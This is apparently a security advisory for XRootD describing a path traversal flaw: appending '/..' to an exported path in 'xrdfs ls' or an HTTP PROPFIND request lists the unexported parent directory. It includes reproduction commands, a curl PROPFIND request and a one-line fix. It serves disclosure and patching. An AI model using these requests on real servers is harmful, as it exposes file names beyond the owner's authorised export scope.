Description
## Summary
A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.
This bypass ignores the `all.export` restriction.
## Affected component
`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash).
Then the path is passed directly to the filesystem layer.
## PoC
### Configuration
- **Configuration file:**
```conf
xrd.port 1094
# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/
# HTTP
xrd.protocol http:1094 libXrdHttp.so
# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd
```
- **Filesystem layout on the server:**
```
/srv/xrootd/data/
├── alice/ ← only exported directory
├── bob/ ← not exported
└── secret.txt ← not exported
```
- **Starting the server:** `xrootd -c /etc/xrootd/xrootd.cfg`
### Steps to reproduce
**Normal behavior (access outside export is denied):**
```bash
$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.
```
**Bypass via trailing `..`:**
```bash
$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt
```
**Also exploitable via HTTP PROPFIND:**
```bash
curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
--path-as-is \
-H "Depth: 1"
```
Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).
**However, file download via this path traversal is blocked:**
```bash
$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)
```
## Impact
An attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).
File download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).
This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.
## Suggested fix
In `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change:
```cpp
// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;
// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;
```
Affected packages
| Ecosystem | Package | Affected | Fixed | Record |
|---|---|---|---|---|
| PyPI | xrootd | < 5.9.2 | 5.9.2 | GHSA-vj8v-p5vw-m6v5 |